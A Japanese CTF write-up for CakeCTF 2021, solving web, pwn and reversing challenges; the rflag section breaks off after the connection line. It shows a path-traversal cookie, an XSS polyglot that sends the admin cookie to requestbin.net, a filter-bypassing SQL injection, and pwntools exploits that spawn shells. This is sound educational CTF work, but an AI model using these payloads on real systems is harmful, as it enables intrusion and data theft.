Satoooonの物置

CTFなどをしていない

CakeCTF 2021 Writeup

CakeCTF 2021に参加して、20/157位でした。解けた問題について解説していきます。

f:id:Satoooon1024:20210830005652p:plain

f:id:Satoooon1024:20210830005707p:plain

Web

MofuMofu Diary [80 solves]

猫の画像が見れるサイトのソースコード/flag.txtにフラグがあるという情報が渡されます。重要な箇所はここです。

function get_cached_contents() {
    $results = [];

    if (empty($_COOKIE['cache'])) {

        $images = glob('images/*.jpg');
        $expiry = time() + 60*60*24*7;

        foreach($images as $image) {
            $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
            $description = trim(file_get_contents($text));
            array_push($results, array(
                'name' => $image,
                'description' => $description
            ));
            $_SESSION[$image] = img2b64($image);
        }

        $cookie = array('data' => $results, 'expiry' => $expiry);
        setcookie('cache', json_encode($cookie), $expiry);

    } else {

        $cache = json_decode($_COOKIE['cache'], true);
        if ($cache['expiry'] <= time()) {

            $expiry = time() + 60*60*24*7;
            for($i = 0; $i < count($cache['data']); $i++) {
                $result = $cache['data'][$i];
                $_SESSION[$result['name']] = img2b64($result['name']);
            }

            $cookie = array('data' => $cache['data'], 'expiry' => $expiry);
            setcookie('cache', json_encode($cookie), $expiry);

        }

        return $cache['data'];

    }

    return $results;
}

cacheというクッキーに画像のファイル名と説明を保存し、以降はその情報を参照するようになっています。実際に見てみるとこんな感じです。

{
    "data": [
        {
            "name": "images/01.jpg",
            "description": "Half sleeping cat"
        },
        {
            "name": "images/02.jpg",
            "description": "When you gaze into the cat, the cat gazes into you"
        },
        ...
    ],
    "expiry": 1630845413
}

ファイル名に対して特にチェックを行っていないため、nameを操作することでLocal File Inclusionができます。

$cache['expiry'] <= time()を満たさないと情報の更新がされないため、expiryも0にしておきましょう。

{
    "data": [
        {
            "name": "../../../../../../../flag.txt",
            "description": "FLAG is here!"
        }
    ],
    "expiry": 0
}

このようなJSONを用意してURL Encodeしてからcacheにセットすると、フラグがbase64で降りてきます。

❯ echo Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg== | base64 -d
CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}

travelog [22 solves]

ブログサービスで、フラグは管理者(クローラー)のUserAgentです。いつものXSS問の形式ですね。

@app.context_processor
def csp_nonce_init():
    g.csp_nonce = base64.b64encode(os.urandom(16)).decode()
    return dict(csp_nonce=g.csp_nonce)

@app.after_request
def csp_rule_apply(response):
    if 'csp_nonce' in g:
        policy = ''
        policy += "default-src 'none';"
        policy += f"script-src 'nonce-{g.csp_nonce}' 'unsafe-inline';"
        policy += f"style-src 'nonce-{g.csp_nonce}' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;"
        policy += "frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;";
        policy += "img-src 'self';"
        policy += "connect-src http: https:;"
        policy += "base-uri 'self'"
        response.headers["Content-Security-Policy"] = policy
    return response

このようなCSPが設定されています。スクリプトの発火にはnonceが必要で、base要素は同サイトなら許可されています。

また、JPEGをアップロードできる機能があります。jpegであるかはimghdr.whatで検証され、/uploads/<user_id>/<name>に保存されます。

この時ブログに{{ filename }}という文字列を置くと自動的に/uploads/<user_id>/filenameに補完してくれます。

XSS自体はshow.htmlで単純にStored XSSができます。htmlはこのような形です。

...
    <div class="uk-container">
        {{ post['contents'] | safe }}
    </div>

    <hr>
    <div class="uk-grid-row" uk-grid>
        <div>
            <a href="#" class="uk-icon-button" uk-icon="copy" id="share" uk-tooltip="Copy URL to clipboard"></a>
        </div>
        <div class="uk-width-1-2@s">
            <input class="uk-input" type="text" value="{{ url }}" id="url" readonly>
        </div>
        <form action="/report" method="POST" id="report">
            <input type="text" value="/post/{{ post['user_id'] }}/{{ post['post_id'] }}" name="url" hidden readonly>
            <button type="submit" class="uk-icon-button g-recaptcha"
                    uk-icon="warning" uk-tooltip="Report sensitive content"
                    data-sitekey="6LfFpMYaAAAAAAsjqi5QQvO7GPYU6zbdPR4BtgGj"
                    data-callback="onSubmit"
                    data-action="submit">
            </button>
        </form>
    </div>
    <script nonce="{{ csp_nonce }}" src="../../show_utils.js"></script>

下にnonceで許可されたshow_utils.jsがありますね。

さて、スクリプトを発火させるにはnonceをどうにかして奪うか、既にあるスクリプトを利用する必要があります。

試した方針

  • Dangling Markup Injection

    nonceを奪う攻撃はこれしか知りませんでしたが、XSSできる場所の直下にscript要素がないと難しいです。

  • DOM based XSS

    show_utils.jsはこのようなプログラムです。

   let share = document.getElementById('share');
   
   share.onclick = () => {
       let url = document.querySelector('#url');
       url.select();
       document.execCommand('copy');
       UIkit.notification({
           message: 'URL is copied to clipboard!',
           status: 'success'
       });
   };
   
   function onSubmit() {
       document.getElementById("report").submit();
   }

先にid="share"な要素を置いておけばdocument.getElementById('share')で参照される要素を操作できたりはしますが、発火にUser Interactionが必要なので無理そうです。(これとrecaptchaと合わせて解いた人もいるらしい?)

  • CSPヘッダ破壊・nonce推測など

    無理

script-src: 'self'ならJPEGとjsのpolyglotを作ってそれを参照させればいいんだけどnonceあるし無理だよな、どうやって奪えばいいんだ......」と終盤まで悩んでいましたが、base要素はURLのrootを操作するものだと勘違いしていることに気付いたら簡単でした。

show_utils.js<script nonce="{{ csp_nonce }}" src="../../show_utils.js">という形で参照されています。

このとき<base href="/uploads/<user_id>/hoge/fuga/">と指定すれば、/uploads/<user_id>/show_utils.jsを参照してくれます。これはshow_utils.jsをアップロードすることで操作可能なので、これでnonceのついた任意のスクリプトを発火させることができるようになりました。

ただし、アップロードする時にJPEGと判定されないと弾かれてしまいます。どのように判定しているか、imghdrの実装を見てみましょう。

def test_jpeg(h, f):
    """JPEG data with JFIF or Exif markers; and raw JPEG"""
    if h[6:10] in (b'JFIF', b'Exif'):
        return 'jpeg'
    elif h[:4] == b'\xff\xd8\xff\xdb':
        return 'jpeg'

ガバガバで助かりました。7文字目から11文字目がJFIFであればJPEGと判定されます。つまり、このようなスクリプトを作ればよいです。

//3456JFIF
location.href="https://requestbin.net/r/****"

このJSをshow_utils.jsとしてアップロードします。サイト上からアップロードできなかったのでrequestsでAPIを直叩きします。

requests.post("http://web.cakectf.com:8011/upload", headers={"Cookie": f"session={session}"}, files={"images[]": open("./show_utils.js", "rb")})

次にこのような投稿をします。

<base href="{{ /hoge/fuga/ }}">

この投稿のURLを管理者に報告すればフラグが手に入ります。

CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}

travelog again [20 solves]

againが公開された瞬間、diffを取ることで非想定解を導き出すやつをやろうと思ったけど前の問題のパスワードが必要で号泣していました。(凄い良いアイデアだと思います)

変わったのはクローラー。User-Agentにフラグが入っていたのが、Cookieになりました。

        await page.setCookie({
            "domain":"challenge:8080",
            "name":"flag",
            "value":flag,
            "sameSite":"Strict",
            "httpOnly":false,
            "secure":false
        });

sameSite=Strictで一瞬身構えましたがhttpOnly=falseなのでdocument.cookieで参照できるので大丈夫です。

//3456JFIF
location.href="https://requestbin.net/r/****" + document.cookie

これでフラグが手に入ります。

CakeCTF{I'll_n3v3r_trust_HTML:angry:}

My Nyamber [13 solves]

DBに保存されてある猫を名前とidで検索できるサービスです。フラグはDBのflagテーブルにあります。

/**
 * Find neko by name
 */
async function queryNekoByName(neko_name, callback) {
    let filter = /(\'|\\|\s)/g;
    let result = [];
    if (typeof neko_name === 'string') {
        /* Process single query */
        if (filter.exec(neko_name) === null) {
            try {
                let row = await querySqlStatement(
                    `SELECT * FROM neko WHERE name='${neko_name}'`
                );
                if (row) result.push(row);
            } catch { }
        }
    } else {
        /* Process multiple queries */
        for (let name of neko_name) {
            if (filter.exec(name.toString()) === null) {
                try {
                    let row = await querySqlStatement(
                        `SELECT * FROM neko WHERE name='${name}'`
                    );
                    if (row) result.push(row);
                } catch { }
            }
        }
    }
    callback(result);
}

/**
 * Find neko by My Nyamber
 */
async function queryNekoById(neko_id, callback) {
    let nid = parseInt(neko_id);
    if (!isNaN(nid)) {
        try {
            let row = await querySqlStatement(
                `SELECT * FROM neko WHERE nid=${nid}`
            );
            if (row) {
                callback([row]);
                return;
            }
        } catch { }
    }

    /* Invalid ID or result not found */
    callback([]);
}

queryNekoByName()SQL Injectionができそうな部分がありますが、/(\'|\\|\s)/gというフィルターを抜けなければなりません。

queryNekoById()もありますが、こちらはparseIntで整数にさせられるので文字列を埋め込むのは厳しそうです。

試した方針

  • Process multiple queriesの処理でfilter.exec(name.toString()) === nullを抜けつつ${name}name.toString()とは異なる文字列になるようなnameを作る。

    そもそも配列になるようなクエリをどうやって作るのという話ですが、調べると?name=1&name=2[1,2]というようなクエリが作れることがわかります。

    さらに調べると、?name[0][a]=1[{ a: '1'}]というクエリを作れました。JSにおいてObjectのキーはプロパティとほぼ同義なので、キーを操作できるということはプロパティも操作できるということです。

    しかし、?name[0][toString]=1で500エラーを起こせたりはできましたが特に攻撃に繋げることはできませんでした。

    (クエリでのprototype pollutionも考えましたが、できちゃったら0dayなので無い)

「うお~~~~~~~~~~解けね~~~~~~~~~~~~~~~」って感じでログを出しつつひたすら手を動かしていたときでした。

?name[]='&name[]='

「こんなんで解けるわけないだろ!いい加減にしろ!」

{ name: [ "'", "'" ] }
' : filter.exec() =>  [ "'", "'", index: 0, input: "'", groups: undefined ]
' : filter.exec() =>  null

「!!!?!?!?!?!?!!?!?!?!?!!?!!?!」

何故か二回目のfilter.exec()が通っています。RegExp.exec()についてよく調べると、ちゃんと記述がありました。

検索に成功した場合、 exec() メソッドは配列を返し (追加のプロパティ indexinput が付いており、 d フラグが設定されている場合は indices も、以下参照)、正規表現オブジェクトの lastIndex プロパティを更新します。返された配列は、一致したテキストを最初の項目として持ち、その後、一致したテキストの括弧によるキャプチャグループに対して 1 つずつの項目を持ちます。

lastIndexとは何でしょうか?

lastIndexRegExp インスタンスの読み書き可能なプロパティで、次の一致を開始する位置を指定します。

このプロパティは、正規表現インスタンスがグローバル検索を示すために g フラグを使用した場合、または粘着的検索を示すために y フラグを使用した場合にのみ設定されます。 ...... exec() または test() が一致するものを見つけた場合 lastIndex は入力の中の一致する文字列の末尾の位置に設定されます。

つまりこういうことです。

filter = /'/g
// => /'/g
filter.exec("01234'")
// => ["'", index: 5, input: "01234'", groups: undefined]
filter.lastIndex
// => 6
filter.exec("'''''6 <= 6文字目から検索が始まる")
// => null 1~5文字目については見ない

この仕様を使うことでフィルタをバイパスし、SQL Injectionすることができます。

query = f"name[]={'A'*100}'&name[]=' UNION SELECT 1,flag,'a',1 FROM flag; -- "

というようなクエリを送ればフラグが手に入ります。

CakeCTF{BUG-REPORT-ACCEPTED:Reward=222-Matatabi-Sticks}

f:id:Satoooon1024:20210830005559p:plain

脆弱性に気付いたのが15分前くらい、解けたのが終了6分前でした。焦った......

pwn

UAB4b [75 solves]

nc先だけ渡されます。

Today, let's learn how dangerous Use-after-Free is!
You're going to abuse the following structure:

  typedef struct {
    void (*fn_dialogue)(char*);
    char *message;
  } COWSAY;

An instance of this structure is allocated on the heap:

  COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY));

You can
 1. Call `fn_dialogue` with `message` as its argument:
  cowsay->fn_dialog(cowsay->message);

 2. Allocate and set `message` (This will never be freed):
  cowsay->mesage = malloc(17);
  scanf("%16s", cowsay->message);

 3. Delete cowsay only once:
  free(cowsay);

 4. See the heap around the cowsay instance

Last but not least, here is the address of `system` function:
  <system> = 0x7fc286ffd410

1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
>
  1. fn_dialogを呼び出す
  2. 新しくmallocしてcowsay->messageを編集する
  3. cowsayをfreeする
  4. heapを見る

以上の4つの操作ができます。

  1. freeする
  2. mallocするとfreeされたcowsayとちょうど同じ領域が帰ってくるので、cowsay->fn_dialogsystemに上書きする
  3. この状態は平常通りmessageが編集できるので、messageに"/bin/sh"を置いておく
  4. cowsay->fn_dialog(cowsay->message)system("/bin/sh")

このようにするとシェルが取れます。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

nc = "nc pwn.cakectf.com 9001"


def cowsay(io):
    io.recvuntil("4. Describe heap")
    io.sendlineafter("> ", str(1))

def change_message(io, m):
    io.recvuntil("4. Describe heap")
    io.sendlineafter("> ", str(2))
    io.sendlineafter(": ", m)

def delete(io):
    io.recvuntil("4. Describe heap")
    io.sendlineafter("> ", str(3))


def heapinfo(io):
    io.recvuntil("4. Describe heap")
    io.sendlineafter("> ", str(4))
    info = io.recvuntil("1. ")[:-3]
    print(info.decode())

io = get_io()
io.recvuntil("<system> = 0x")
system = int(io.recvline(), 16)
log.info(f"system: {system:x}")

log.info("free cowsay")
delete(io)
heapinfo(io)

log.info("write function pointer")
change_message(io, p64(system))
heapinfo(io)

log.info("prepare /bin/sh")
change_message(io, "/bin/sh")
heapinfo(io)


log.info('call system("/bin/sh")')
cowsay(io)

io.interactive()
❯ py solve.py remote
[+] Opening connection to pwn.cakectf.com on port 9001: Done
[*] system: 7f9343de0410
[*] free cowsay

  [ address ]      [ heap data ]
               +------------------+
0x556fb4197290 | 0000000000000000 |
               +------------------+
0x556fb4197298 | 0000000000000021 |
               +------------------+ cowsay (freed)
0x556fb41972a0 | 0000000000000000 | <-- fn_dialogue (= invalid function pointer)
               +------------------+
0x556fb41972a8 | 0000556fb4197010 | <-- message (= '')
               +------------------+
0x556fb41972b0 | 0000000000000000 |
               +------------------+
0x556fb41972b8 | 0000000000020d51 |
               +------------------+
0x556fb41972c0 | 0000000000000000 |
               +------------------+
0x556fb41972c8 | 0000000000000000 |
               +------------------+

[*] write function pointer

  [ address ]      [ heap data ]
               +------------------+
0x556fb4197290 | 0000000000000000 |
               +------------------+
0x556fb4197298 | 0000000000000021 |
               +------------------+ cowsay (freed)
0x556fb41972a0 | 00007f9343de0410 | <-- fn_dialogue (= system)
               +------------------+
0x556fb41972a8 | 0000556fb4197200 | <-- message (= '')
               +------------------+
0x556fb41972b0 | 0000000000000000 |
               +------------------+
0x556fb41972b8 | 0000000000020d51 |
               +------------------+
0x556fb41972c0 | 0000000000000000 |
               +------------------+
0x556fb41972c8 | 0000000000000000 |
               +------------------+

[*] prepare /bin/sh

  [ address ]      [ heap data ]
               +------------------+
0x556fb4197290 | 0000000000000000 |
               +------------------+
0x556fb4197298 | 0000000000000021 |
               +------------------+ cowsay (freed)
0x556fb41972a0 | 00007f9343de0410 | <-- fn_dialogue (= system)
               +------------------+
0x556fb41972a8 | 0000556fb41972c0 | <-- message (= '/bin/sh')
               +------------------+
0x556fb41972b0 | 0000000000000000 |
               +------------------+
0x556fb41972b8 | 0000000000000021 |
               +------------------+ cowsay->message
0x556fb41972c0 | 0068732f6e69622f |
               +------------------+
0x556fb41972c8 | 0000000000000000 |
               +------------------+

[*] call system("/bin/sh")
[*] Switching to interactive mode
[+] You're trying to call 0x00007f9343de0410
$ ls
chall
flag-7a6f369885822f1effdbad51554c0467.txt
$ cat flag-7a6f369885822f1effdbad51554c0467.txt
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}
$

3rd bloodでした。exploitを丁寧に書きましたが実際はそんなにログ出してません。

GOT it [32 solves]

問題文: Does "Full RELRO" mean it's really secure against GOT overwrite?

ソースコードが配布されているのに今気付きました(なんで??????)

#include <stdio.h>
#include <unistd.h>

void main() {
  char arg[10] = {0};
  unsigned long address = 0, value = 0;

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  printf("<main> = %p\n", main);
  printf("<printf> = %p\n", printf);

  printf("address: ");
  scanf("%p", (void**)&address);
  printf("value: ");
  scanf("%p", (void**)&value);
  printf("data: ");
  scanf("%9s", (char*)&arg);
  *(unsigned long*)address = value;

  puts(arg);
  _exit(0);
}

バイナリとlibcのアドレスが渡された上で任意アドレスを8byte書き替えられて、その後に任意の文字列をputsできます。

問題文に書いてある通りFull RELROなのでGOT Overwriteは不可能に思えますが、実はlibcはPartical RELROです。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

そのためputs(arg);のあとにlibcでGOTを利用していればそこでRIPを取ることができます。gdbから探してみましょう。

pwndbg> disass puts
Dump of assembler code for function __GI__IO_puts:
Address range 0x7ffff7e4b5a0 to 0x7ffff7e4b77c:
   0x00007ffff7e4b5a0 <+0>:     endbr64
   0x00007ffff7e4b5a4 <+4>:     push   r14
   0x00007ffff7e4b5a6 <+6>:     push   r13
   0x00007ffff7e4b5a8 <+8>:     push   r12
   0x00007ffff7e4b5aa <+10>:    mov    r12,rdi
   0x00007ffff7e4b5ad <+13>:    push   rbp
   0x00007ffff7e4b5ae <+14>:    push   rbx
   0x00007ffff7e4b5af <+15>:    call   0x7ffff7de9460 <*ABS*+0xa27b0@plt>

初っ端から怪しいのを見つけました。b *puts+15で止まって調べてみます。

   0x7ffff7de9460 <*ABS*+0xa27b0@plt>      endbr64
 ► 0x7ffff7de9464 <*ABS*+0xa27b0@plt+4>    bnd jmp qword ptr [rip + 0x1c5c3d] <__strlen_avx2>

rip + 0x1c5c3dはGOTの領域です。ちょうどrdiも操作可能なのでここをsystemに書き替えればシェルが取れます。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./chall_patched"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = "./libc-2.31.so"

nc = "nc pwn.cakectf.com 9003"

command = '''
b *main+302
c
'''

chall = ELF(file)
libc = ELF(libc)

io = get_io()
io.recvuntil("<main> = 0x")
main = int(io.recvline(), 16)
chall.address = main - chall.sym["main"]
log.info(f"bin: {chall.address:x}")

io.recvuntil("<printf> = 0x")
printf = int(io.recvline(), 16)
libc.address = printf - libc.sym["printf"]
log.info(f"libc: {libc.address:x}")

address = libc.address + 2011304
value = libc.sym["system"]
data = "/bin/sh"

io.sendlineafter("address: ", hex(address)[2:])
io.sendlineafter("value: ", hex(value)[2:])
io.sendlineafter("data: ", data)

io.interactive()
[+] Opening connection to pwn.cakectf.com on port 9003: Done
[*] bin: 560d86499000
[*] libc: 7f07503bd000
[*] Switching to interactive mode
$ ls
chall
flag-94a6afdf8e59954b19196caca9ab2e35.txt
$ cat flag-94a6afdf8e59954b19196caca9ab2e35.txt
CakeCTF{*ABS*+0x190717@IGOTIT}

3rd bloodでした。解法は一瞬で分かったのに手間取ってしまい残念。

reversing

nostrings [62 solves]

Ghidraで解析するとこんな感じです。

/* WARNING: Could not reconcile some variable overlaps */

undefined8 main(void)

{
  undefined8 uVar1;
  long in_FS_OFFSET;
  bool flag;
  int i;
  char buf [72];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  printf("flag: ");
  __isoc99_scanf("%58s",buf);
  _flag = 1;
  i = 0;
  do {
    if (0x39 < i) {
      if (_flag == 0) {
        puts("-_- < flag in the string...");
      }
      else {
        puts(".O. < i+! +o6 noh");
        puts(">v< this is the flag");
      }
      uVar1 = 0;
LAB_001012ae:
      if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar1;
    }
    if (buf[i] == '\x7f') {
      puts("^o^");
      uVar1 = 1;
      goto LAB_001012ae;
    }
    _flag = (uint)((uint)(byte)s__00104020[(long)(int)buf[i] * 0x7f + (long)i] == (int)buf[i]) *
            _flag;
    i = i + 1;
  } while( true );
}

s__00104020は0x20(空白)と0x00からなるテーブルです。雑に取り出して条件に合うフラグを探すと見つかります。

import struct
buf = struct.pack("32442B", *[
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
...
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20])

flag = ""
for i in range(0x40):
    for c in range(0x20, 0x7f):
        if buf[c*0x7f+i] == c:
            flag += chr(c)
            break
    print(flag)
❯ py solve.py
C
Ca
Cak
Cake
CakeC
CakeCT
CakeCTF
CakeCTF{
CakeCTF{t
CakeCTF{th
CakeCTF{th3
CakeCTF{th3_
CakeCTF{th3_b
CakeCTF{th3_b3
...
CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}

フラグが徐々に確定されていくのを見るのは...楽しい!

Hash browns [40 solves]

Ghidraで解析するとこんな感じです。

undefined8 main(int argc,char **argv)

{
  int result;
  size_t flag_len;
  long i;
  undefined8 *tmp_ptr;
  long in_FS_OFFSET;
  int hoge;
  undefined4 local_3b8;
  int j;
  int k;
  int flag_len>>1;
  undefined8 hashes;
  undefined8 hashes2;
  char local_62;
  undefined local_61;
  char local_60;
  undefined local_5f;
  char md5hex [11];
  char sha256hex [11];
  byte md5sum [16];
  byte sha256sum [40];
  long canary;
  char (*hashes_ptr) [11];
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  hashes_ptr = md5hashes;
  tmp_ptr = &hashes;
  for (i = 0x32; i != 0; i = i + -1) {
    *tmp_ptr = *(undefined8 *)*hashes_ptr;
    hashes_ptr = (char (*) [11])(*hashes_ptr + 8);
    tmp_ptr = tmp_ptr + 1;
  }
  *(undefined4 *)tmp_ptr = *(undefined4 *)*hashes_ptr;
  *(undefined2 *)((long)tmp_ptr + 4) = *(undefined2 *)(*hashes_ptr + 4);
  *(char *)((long)tmp_ptr + 6) = (*hashes_ptr)[6];
  hashes_ptr = sha256hashes;
  tmp_ptr = &hashes2;
  for (i = 0x32; i != 0; i = i + -1) {
    *tmp_ptr = *(undefined8 *)*hashes_ptr;
    hashes_ptr = (char (*) [11])(*hashes_ptr + 8);
    tmp_ptr = tmp_ptr + 1;
  }
  *(undefined4 *)tmp_ptr = *(undefined4 *)*hashes_ptr;
  *(undefined2 *)((long)tmp_ptr + 4) = *(undefined2 *)(*hashes_ptr + 4);
  *(char *)((long)tmp_ptr + 6) = (*hashes_ptr)[6];
  if (argc < 2) {
    printf("Usage: %s <flag>\n",*argv);
  }
  else {
    flag_len = strlen(argv[1]);
    flag_len>>1 = (int)(flag_len >> 1);
    if (flag_len>>1 == 0x25) {
      for (j = 0; j < flag_len>>1; j = j + 1) {
        f(j,flag_len>>1,&hoge,&local_3b8);
        if (hoge < 0) {
          hoge = flag_len>>1 + hoge;
        }
        local_62 = argv[1][j * 2];
        local_61 = 0;
        local_60 = argv[1][(long)(j * 2) + 1];
        local_5f = 0;
        md5(&local_62,md5sum);
        sha256(&local_60,sha256sum);
        for (k = 0; k < 5; k = k + 1) {
          sprintf(md5hex + k * 2,"%02x",(ulong)md5sum[k]);
          sprintf(sha256hex + k * 2,"%02x",(ulong)sha256sum[k]);
        }
        result = strcmp((char *)((long)&hashes + (long)j * 0xb),md5hex);
        if (result != 0) {
          puts("Too spicy :(");
          goto LAB_00101768;
        }
        result = strcmp((char *)((long)&hashes2 + (long)hoge * 0xb),sha256hex);
        if (result != 0) {
          puts("Too spicy :(");
          goto LAB_00101768;
        }
      }
      puts("Yum! Yum! Yummy!!!! :)\nThe flag is one of the best ingredients.");
    }
    else {
      puts("Too sweet :(");
    }
  }
LAB_00101768:
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}


int f(int a,int b,undefined4 *c,undefined4 *d)

{
  int result;
  
  if (b == 0) {
    *c = 1;
    *d = 0;
    result = a;
  }
  else {
    result = f(b,a % b,d,c);
    *d = *d - *c * (a / b);
  }
  return result;
}

md5hashes, sha256hashesというのがバイナリ中のテーブルです。入力文字列の奇数番目をmd5、偶数番目をsha256で検証しています。

どのハッシュで検証するのかというのはmd5は素直にj番目ですが、sha256はfという関数を使って決めています。

Pythonでf関数を再現し、一文字ずつハッシュを特定していけばフラグが得られます。参照を使っていてPythonでの再現が面倒臭いですが、アドレスを配列へのインデックスだと思うと楽に実装できました。

from hashlib import sha256, md5

from numpy import int32

md5hashes = [
'0d61f8370c',
'8ce4b16b22',
...
'a87ff679a2',
]

sha256hashes = [
'ca978112ca',
'3f79bb7b43',
...
'd10b36aa74',
]

"""

int f(int a,int b,int *c,int *d)

{
  int result;
  
  if (b == 0) {
    *c = 1;
    *d = 0;
    result = a;
  }
  else {
    result = f(b,a % b,d,c);
    *d = *d - *c * (a / b);
  }
  return result;
}
"""

cd = [int32(0), int32(0)]

def f(a, b, c_idx, d_idx):
    global cd
    if b == 0:
        cd[c_idx] = 1
        cd[d_idx] = 0
        return a
    else:
        result = f(b, a % b, d_idx, c_idx)
        cd[d_idx] = cd[d_idx] - cd[c_idx] * (a // b)
        return result

flag = ""
for i in range(0x25 << 1):
    if i % 2 == 0:
        for char in range(0x20, 0x7f):
            c_hash = md5(bytes([char])).hexdigest()[:10]
            if c_hash == md5hashes[i//2]:
                flag += chr(char)
                break
    else:
        f(i >> 1, 0x25, 0, 1)
        # print(cd)
        if cd[0] < 0:
            cd[0] += 0x25
        # print(cd)
        for char in range(0x20, 0x7f):
            c_hash = sha256(bytes([char])).hexdigest()[:10]
            if c_hash == sha256hashes[cd[0]]:
                flag += chr(char)
                break
    print(flag)
❯ py solve.py
C
Ca
Cak
Cake
CakeC
CakeCT
CakeCTF
CakeCTF{
CakeCTF{(
CakeCTF{(^
CakeCTF{(^o
...
CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}

rflag [20 solves]

バイナリとnc先が渡されます。

❯ ./rflag
You have 4 rounds to guess the 32-byte hex string!
Give me your guess and I'll tell you the positions
of all the matches.
Round 1/4: 0
Response: [25]
Round 2/4: 1
Response: []
Round 3/4: 2
Response: [16, 31]
Round 4/4: 3
Response: [4, 17]
Okay, what's the answer?
hoge
Wrong...

何言ってるかよくわかりません。Ghidraで見てみますが、Rustバイナリで少し見づらいですね。rflag::main関数を見てみます。

    if (*(long **)((long)local_80 + 0x18) == (long *)0x1e61b0) {
      bVar2 = true;
    }
    else {
      bVar2 = **(long **)((long)local_80 + 0x18) == 0x65646f6d656b6163;
    }
  }
...
  rflag(bVar2);

rflagという関数に関係しそうな怪しい値があります。ASCIIにするとcakemodeになります。

試しにcakemodeを引数にしてプログラムを動かしてみましょう。

❯ ./rflag cakemode
You have 4 rounds to guess the 32-byte hex string!
Give me your guess and I'll tell you the positions
of all the matches.
[DEBUG] Piece of Cake Mode is enabled (Not on remote :P)
[DEBUG] 972aa1fb6b8f950ea9943ef438a2749f
Round 1/4: 9
Response: [0, 12, 17, 18, 30]
Round 2/4: 7
Response: [1, 28]
Round 3/4: a
Response: [3, 4, 16, 26]
Round 4/4: 1
Response: [5]
Okay, what's the answer?
972aa1fb6b8f950ea9943ef438a2749f
Correct!
FLAG: FakeCTF{***** REDUCTED *****}

デバッグモードになりました。推測するに、ランダムな16byte 32文字の数値が生成されて、文字の場所を調べること(上の例だと9という文字が[0, 12, 17, 18, 30]に現れる)を4回できて、最後に生成された数値を当てればフラグが貰えるようです。

この検索処理はguessyという関数にあるようなので、見てみます。

...
regex::re_unicode::Regex::find_iter(&local_a8,&local_c8,*answer,answer[2]);
...

regex...ということは正規表現で検索しているのでしょうか。試してみます。

Round 1/4: .
Response: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31]

ビンゴです。これを使えば2分探索でフラグを求められます。

from pwn import *

"""
0123456789abcdef

1: [0-7]
01234567 89abcdef

2: [0-38-b]
0123 4567 89ab cdef

3: [014589cd]
01 23 45 67 89 ab cd ef

4: [02468ace]
0 1 2 3 4 5 6 7 8 9 a b c d e f
=> 全て識別できた!
"""

io = remote("misc.cakectf.com", 10023)
# io = process("./rflag")

answer_case = [set('0123456789abcdef') for _ in range(32)]

queries = [
    {
        "query": "[0-7]",
        "restrict": set('01234567')
    },
    {
        "query": "[0-38-b]",
        "restrict": set('012389ab')
    },
    {
        "query": "[014589cd]",
        "restrict": set('014589cd')
    },
    {
        "query": "[02468ace]",
        "restrict": set('02468ace')
    }
]

for query in queries:
    io.sendlineafter("/4: ", query["query"])
    io.recvuntil("Response: ")
    result = eval(io.recvline())
    for i in range(32):
        if i in result:
            answer_case[i] &= query["restrict"]
        else:
            answer_case[i] -= query["restrict"]
    print(answer_case)

answer = "".join([list(case)[0] for case in answer_case])

io.sendlineafter("Okay, what's the answer?\n", answer)
io.interactive()
❯ py solve.py
[+] Opening connection to misc.cakectf.com on port 10023: Done
